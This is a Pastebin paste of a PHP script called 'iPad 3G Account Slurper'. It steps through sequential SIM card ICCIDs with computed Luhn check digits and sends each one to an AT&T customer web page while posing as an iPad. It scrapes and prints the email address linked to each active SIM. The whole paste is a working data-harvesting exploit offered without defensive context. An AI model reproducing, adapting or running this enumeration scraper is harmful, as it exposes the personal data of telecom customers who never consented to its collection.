Advertisement
Guest User

Untitled

a guest
Aug 18th, 2011
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.25 KB | None | 0 0
  1. <?php
  2.  
  3. // iPad 3G Account Slurper
  4. //
  5. // Usage: ./ipadump.php ICCID-base count
  6. // (The script generates the final checkdigit to produce ICCIDs from the entered base)
  7.  
  8. $useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad
  9. $ICCIDroot = $_SERVER['argv'][1];
  10. $ICCIDcount = $_SERVER['argv'][2];
  11.  
  12. function genluhn($number){ //Crappy home-made Luhn checkdigit generator
  13. $i = strlen($number)-1;
  14. do {
  15. $array[] = $number[$i];
  16. $i--;
  17. } while ($i > -1);
  18. $i = 0;
  19. foreach ($array as $digit) {
  20. if (!($i & 1)){
  21. $digit = $digit * 2;
  22. if ($digit >= 10) {
  23. $digit = $digit - 9;
  24. }
  25. }
  26. $total += $digit;
  27. $i++;
  28. }
  29. $luhn = 10 - ($total % 10);
  30. if ($luhn == 10) $luhn=0;
  31. return $luhn;
  32. }
  33.  
  34.  
  35. while (1) { //Continue FOREVER
  36.  
  37. $ch = curl_init(); //Set up cURL
  38. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  39. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection
  40. curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later
  41. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data
  42. $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to
  43. the ICCID
  44. curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0");
  45. $output = curl_exec($ch); //Load first page with ICCID
  46. curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
  47. $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript.
  48. cURL is nice and passes the previously GET'd info
  49. curl_close($ch);
  50. //print $output; //Prints HTML result
  51.  
  52. if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just
  53. to keep track of how far the script has gotten
  54.  
  55. //Parse output. Terribly sloppy
  56. if (preg_match("/<title>Error<\/title>/", $output, $match)) {
  57. preg_match("/<div class=\"info-container\">(.*)<br>(.*)<br>/msU", $output,
  58. $match);
  59. $match[0] = preg_replace("/<div class=\"info-container\">\n\s\s+/","",$match[0]);
  60. $match[0] = preg_replace("/<\/b><br>/", "<\/b> <br>", $match[0]); //Because I
  61. want space between the period and the next sentence, dammit
  62. $errnum = strip_tags($match[0]);
  63. $status = "Error! ".$errnum; //Return specific error message
  64. } else if (preg_match("<input id=\"email\" name=\"email\" type=\"email\"
  65. placeholder=\"Required\" value=\".*\@.*\" autocapitalization=\"off\" autocorrect=\"off\">",
  66. $output, $match)) {
  67. $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\"
  68. placeholder=\"Required\" value=\"/","",$match[0]);
  69. $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "",
  70. $match[0]); //Return email address
  71. } else {
  72. $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad
  73. logic, will fix.
  74. }
  75.  
  76. if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error
  77. message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log.
  78. if ($counter == $ICCIDcount) exit;
  79. $ICCIDroot++; //step ICCID
  80. $counter++; //step loop counter
  81. }
  82. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement